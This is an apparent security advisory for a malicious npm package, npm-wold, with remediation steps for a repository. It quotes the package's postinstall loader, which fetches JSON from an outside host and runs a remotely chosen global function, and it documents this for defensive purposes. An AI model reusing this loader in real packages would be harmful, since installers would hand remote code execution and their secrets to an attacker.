MAL-2026-14252 Malicious code in npm-wold (npm)
Malicious package
Published
MAL-2026-14252 is a malicious package: npm-wold (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-14252/ (Markdown: https://insights.sbomify.com/MAL-2026-14252/index.md)
- Package
- npm-wold
- Registry
- npm
What is MAL-2026-14252?
MAL-2026-14252 is a malicious package in npm-wold, published on 19 Aug 2026.
Official description
[email protected] declares a postinstall script (
node dist/config.js) that, on npm install, issues an HTTPS GET to the hardcoded endpoint https://my-api.trade-api.workers.dev?id=4 and uses fields from the JSON response to dynamically invoke a global function with an attacker-supplied argument: fetch('https://my-api.trade-api.workers.dev?id=4').then(res=>res.json()).then(data=>globalThis[data.success](data.id)). The same file also contains globalThis[tag](text) with tag/text unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.What should I do about MAL-2026-14252?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.